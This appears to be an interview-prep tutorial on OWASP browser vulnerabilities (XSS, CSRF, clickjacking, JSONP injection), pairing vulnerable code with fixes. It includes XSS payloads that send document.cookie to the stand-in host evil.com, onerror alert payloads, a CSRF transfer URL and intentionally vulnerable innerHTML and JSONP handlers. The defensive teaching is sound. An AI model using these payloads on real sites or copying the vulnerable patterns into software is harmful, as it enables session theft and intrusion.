OWASP browser vulnerabilities
OWASP browser vulnerabilities are client-side security flaws in web applications that attackers exploit through the browser to steal cookies, hijack sessions, or force users into actions they never intended.
Theory
TL;DR
- XSS: attacker plants a
<script>tag in your DOM; browser executes it with full access to cookies andlocalStorage - CSRF: attacker tricks the browser into sending a real authenticated request by exploiting automatic cookie attachment
- Clickjacking: transparent iframe sits over a real button so a "claim prize" click lands on "confirm payment" instead
- Fix XSS: use
textContentor DOMPurify; avoidinnerHTMLwith user input; add CSP with nonces - Fix CSRF:
SameSite=Stricton session cookies; add CSRF tokens for forms that still need cross-origin access
Quick example
<input id="q" placeholder="Search...">
<div id="result"></div>
<script>
// VULNERABLE: innerHTML sends the string to the HTML parser
// Input: <img src=x onerror=alert(document.cookie)>
// Result: browser fires onerror, cookie leaked
document.getElementById('q').oninput = (e) => {
document.getElementById('result').innerHTML = e.target.value;
};
// SAFE: textContent skips the parser entirely
// Input: <img src=x onerror=alert(document.cookie)>
// Result: literal string displayed, nothing executes
document.getElementById('q').oninput = (e) => {
document.getElementById('result').textContent = e.target.value;
};
</script>innerHTML passes the value to Chrome's HTML parser, which builds DOM nodes and fires event attributes like onerror. textContent creates a plain text node. No parsing, no execution.
XSS variants
Stored XSS saves the payload to the database. A comment stored as <script>fetch('https://evil.com?c='+document.cookie)</script> fires for every user who loads the page, not just whoever clicked a link. This is the most damaging variant because it scales automatically.
Reflected XSS lives in the URL. The server echoes a query parameter back into the HTML without escaping it, and the browser executes it. Classic setup: ?q=<script>alert(1)</script> rendered directly into a page template.
DOM-based XSS never touches the server. The payload travels in the URL hash, and client-side JavaScript reads location.hash and writes it to the DOM. The server never sees #, so server-side sanitization misses it completely. You have to sanitize on the client.
CSRF: the browser as an unwitting messenger
Browsers attach matching cookies to every request, no matter where that request originated. CSRF exploits this. An attacker hosts a page that fires a POST to https://yourbank.com/transfer?amount=5000&to=attacker. The victim visits it while logged in, and the browser sends the session cookie without hesitation.
Setting SameSite=Strict on session cookies tells the browser to skip cookies on any cross-origin request. That blocks the attack before the server even sees it. For APIs that still need cross-origin calls, pair SameSite=Lax with a CSRF token: a secret embedded in the form, verified server-side before processing.
Clickjacking: what you see vs. what you click
The attacker loads your page in a transparent iframe placed precisely over a "win a prize" button on their own page. The user clicks what they think is the prize button. They actually activate "confirm transfer" on yours.
Setting X-Frame-Options: DENY tells browsers to refuse rendering your page inside any frame. The modern replacement is Content-Security-Policy: frame-ancestors 'none', which gives the same result and is easier to scope per route.
Attack overview
| Attack | Entry point | What attacker gets | Fix |
|---|---|---|---|
| Stored XSS | Database | Runs on every page load for all users | DOMPurify, textContent, CSP |
| Reflected XSS | URL parameter | Runs when victim clicks attacker's link | Server-side escaping, CSP |
| DOM-based XSS | URL hash/fragment | Runs client-side, server never sees it | Client sanitization, textContent |
| CSRF | Cross-origin form or fetch | Performs actions as the logged-in user | SameSite=Strict, CSRF tokens |
| Clickjacking | iframe overlay | Victim clicks without knowing | X-Frame-Options, frame-ancestors |
| MITM | Network traffic | Reads or modifies all data in transit | HTTPS, HSTS |
| SQL injection | Query string concatenation | DB read, write, or delete | Parameterized queries, ORM |
When to apply which fix
- User text rendered as HTML →
DOMPurify.sanitize()beforeinnerHTML; switch totextContentif rich formatting is not needed - State-changing endpoints (POST, PUT, DELETE) →
SameSite=Strictcookies plus a server-side CSRF token - Third-party scripts or ads → CSP that whitelists specific domains with a nonce per request
- Any page that can be embedded in an iframe →
X-Frame-Options: DENYorContent-Security-Policy: frame-ancestors 'none' - Node.js dependencies →
npm auditin CI; replace packages with open CVEs before they get exploited
How the browser processes injected markup
Chrome's HTML parser reads the document left to right and builds the DOM tree node by node. When it finds an unescaped <script> tag or an event attribute like onerror, it queues the contained JavaScript in the event loop. That script runs inside the page's execution context with full access to document.cookie, window.localStorage, and every DOM element. The Same-Origin Policy blocks cross-origin reads, but a script already running inside your origin is not subject to that restriction. That is the entire threat model for XSS.
Common mistakes
Sanitizing on the server, inserting raw HTML on the client. Server sends <script>, client runs element.innerHTML = data. The HTML parser decodes < back to < and executes the tag. Server escaping works only if you also use textContent client-side, or pass through DOMPurify before touching innerHTML. I have seen this exact pattern in dozens of code reviews: the server-side escape was correct, added two years earlier, and then someone introduced innerHTML in a new component without realizing sanitization had already moved elsewhere.
// Bug: server escapes correctly, client unescapes it
const safeFromServer = '<script>alert(1)</script>';
element.innerHTML = safeFromServer; // Browser re-parses, script fires
// Fix
element.textContent = safeFromServer; // Literal text, nothing executesCSP with unsafe-inline. Adding script-src 'unsafe-inline' to your Content Security Policy nullifies the protection. Inline <script> blocks still execute. Use nonces instead:
<!-- Server generates a fresh nonce each request -->
<meta http-equiv="Content-Security-Policy"
content="script-src 'nonce-rAnd0m123'">
<!-- Only scripts with this exact nonce run -->
<script nonce="rAnd0m123">
// legitimate code
</script>Forgetting DOM-based XSS from URL fragments. #<img src=x onerror=alert(1)> bypasses the server completely because hash values are never sent in HTTP requests. If your code reads location.hash and writes to the DOM, sanitize on the client:
// Vulnerable
const payload = location.hash.slice(1);
document.getElementById('content').innerHTML = payload;
// Safe
import DOMPurify from 'dompurify';
const payload = decodeURIComponent(location.hash.slice(1));
document.getElementById('content').innerHTML = DOMPurify.sanitize(payload);HttpOnly without Secure. HttpOnly stops JavaScript from reading cookies. But over plain HTTP a network-level attacker can still intercept them. The complete combination is:
Set-Cookie: session=abc; HttpOnly; Secure; SameSite=Strict
Missing CSRF protection on state-changing endpoints. GET requests must never change state. POST, PUT, and DELETE need either SameSite=Strict cookies or a server-verified CSRF token. Checking only the Referer header is not reliable, because proxies and privacy tools strip it.
Real-world usage
- React:
dangerouslySetInnerHTMLonly withDOMPurify.sanitize(text), common in Markdown renderers for blog platforms - Express:
helmetmiddleware sets CSP,X-Frame-Options, HSTS, and other security headers with one call - Angular: escapes template bindings automatically;
DomSanitizer.bypassSecurityTrustHtml()in a code review is a red flag worth stopping for - Vue:
v-htmlcarries the same risk asdangerouslySetInnerHTML; sanitize before passing the value - CI/CD: OWASP ZAP can scan for XSS and injection issues automatically on each deployment
Follow-up questions
Q: What is the difference between Stored, Reflected, and DOM-based XSS?
A: Stored lives in the database and runs for every visitor. Reflected needs the victim to click a crafted URL. DOM-based never reaches the server; the payload is in the URL hash and client JavaScript writes it to the DOM.
Q: How does CSP limit XSS?
A: CSP whitelists which sources the browser can load scripts from. script-src 'self' blocks anything not from your own origin, including inline tags and eval. A nonce ties each allowed inline script to a per-request random value, so even if an attacker injects a <script> tag, it has no valid nonce and the browser refuses to run it.
Q: How do you mitigate CSRF without tokens?
A: SameSite=Strict cookies prevent the browser from sending credentials on any cross-origin request. A custom header like X-Requested-With: XMLHttpRequest also works because a simple cross-origin form cannot set custom headers without triggering a CORS preflight.
Q: What prevents clickjacking when CSP is not configured?
A: X-Frame-Options: DENY is the fallback. It instructs browsers to refuse loading the page inside any iframe. SAMEORIGIN allows framing from the same domain only. The CSP frame-ancestors directive is the modern equivalent and supports more granular rules.
Q: A candidate says "sanitize inputs to prevent XSS." What does a senior-level answer add?
A: Context-aware escaping. The same string needs different treatment depending on where it lands: HTML body, HTML attribute value, JavaScript string literal, URL parameter, or CSS property. A payload harmless in one context is dangerous in another. DOMPurify handles this correctly; hand-rolled regex almost never does.
Q: Design a comment system with Markdown and emoji support that is safe against XSS.
A: Parse Markdown server-side with a library like markdown-it configured to strip raw HTML tags. Send the resulting HTML to the client. On the client, pass it through DOMPurify before inserting into the DOM. Serve pages with a CSP using per-request nonces and no unsafe-inline. Rate-limit post submissions and log payloads that triggered sanitization for later review.
Examples
Basic XSS: vulnerable vs. safe search input
<!DOCTYPE html>
<html>
<body>
<input id="search" placeholder="Search...">
<div id="result"></div>
<script>
const result = document.getElementById('result');
const input = document.getElementById('search');
// VULNERABLE: HTML parser builds real nodes from the string
// Try: <img src=x onerror=alert(document.cookie)>
// Result: onerror fires and leaks the cookie
input.oninput = (e) => {
result.innerHTML = e.target.value;
};
// SAFE: no parsing, just a text node
// Try: <img src=x onerror=alert(document.cookie)>
// Result: literal string appears, nothing runs
input.oninput = (e) => {
result.textContent = e.target.value;
};
</script>
</body>
</html>The core difference: innerHTML asks the HTML parser to interpret the string. textContent creates a text node directly. One path leads to code execution, the other does not.
React production pattern: comments with rich text
import DOMPurify from 'dompurify'; // npm install dompurify
// VULNERABLE: user-controlled HTML rendered without sanitization
function CommentList({ comments }) {
return (
<ul>
{comments.map(c => (
<li
key={c.id}
dangerouslySetInnerHTML={{ __html: c.text }}
// c.text from DB: '<img src=x onerror=fetch("https://evil.com?c="+document.cookie)>'
// Every visitor leaks their session cookie to the attacker
/>
))}
</ul>
);
}
// SAFE: DOMPurify strips event handlers and dangerous attributes
function SafeCommentList({ comments }) {
return (
<ul>
{comments.map(c => (
<li
key={c.id}
dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(c.text) }}
// onerror, onclick, and javascript: URLs stripped before render
// Safe HTML like <strong> or <em> passes through unchanged
/>
))}
</ul>
);
}The name dangerouslySetInnerHTML was chosen deliberately. React wants you to pause here. If the content comes from users or an untrusted API, DOMPurify goes between the data and the prop. Most XSS bugs in React apps appear not on the initial write but months later when someone adds innerHTML in a new component without checking whether sanitization was already handled upstream.
Advanced: JSONP callback injection
// Express handler - VULNERABLE
// Attacker calls: GET /api/data?callback=alert(document.cookie)//
app.get('/api/data', (req, res) => {
const callback = req.query.callback;
res.setHeader('Content-Type', 'application/javascript');
// Outputs: alert(document.cookie)//({data:'safe'});
// Browser loads this as a <script> tag and executes it
res.send(`${callback}(${JSON.stringify({ data: 'safe' })});`);
});
// SAFE: whitelist valid callback names
const ALLOWED_CALLBACKS = new Set(['onDataLoaded', 'handleResult']);
app.get('/api/data', (req, res) => {
const callback = req.query.callback;
if (!ALLOWED_CALLBACKS.has(callback)) {
return res.status(400).json({ error: 'Invalid callback name' });
}
res.setHeader('Content-Type', 'application/javascript');
res.send(`${callback}(${JSON.stringify({ data: 'safe' })});`);
});JSONP is mostly a legacy pattern that CORS replaced, but it still appears in codebases that predate 2015 and were never fully migrated. The callback parameter is a direct code execution path if echoed without validation. A whitelist blocks it. If you control both client and server, drop JSONP entirely and configure CORS properly.
Short Answer
Interview readyA concise answer to help you respond confidently on this topic during an interview.